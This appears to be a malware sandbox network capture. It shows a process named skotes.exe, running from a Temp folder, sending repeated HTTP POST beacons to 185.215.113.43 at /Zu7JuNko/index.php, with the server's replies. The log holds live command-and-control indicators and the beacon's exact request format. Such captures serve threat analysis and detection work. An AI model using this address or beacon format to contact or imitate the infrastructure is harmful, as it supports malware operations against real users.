Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:23.763428926 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:25.170134068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:26.919792891 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:28.332099915 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:29.966320992 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:31.312597036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:33.064886093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:34.414036036 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:36.044514894 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:37.431936979 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:39.184779882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:40.570216894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:42.201083899 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:43.599328041 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:45.342981100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:46.785490990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:48.419943094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:49.853576899 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:51.732235909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:53.067099094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:54.702930927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:04:56.132935047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49754	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:04:57.872904062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:04:59.254699945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49755	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:00.888336897 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:02.276720047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49761	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:04.035716057 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:05.429966927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49767	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:07.075650930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:08.448652029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49773	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:10.204961061 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:11.600265026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49784	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:13.234343052 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:14.628067017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49796	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:17.906121016 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:19.404463053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49802	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:21.157061100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:22.557954073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49813	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:24.188677073 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:25.580399990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49819	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:27.328672886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:28.714970112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49825	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:30.344547033 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:05:31.686471939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49836	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:05:33.438340902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:05:34.817929029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:05:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
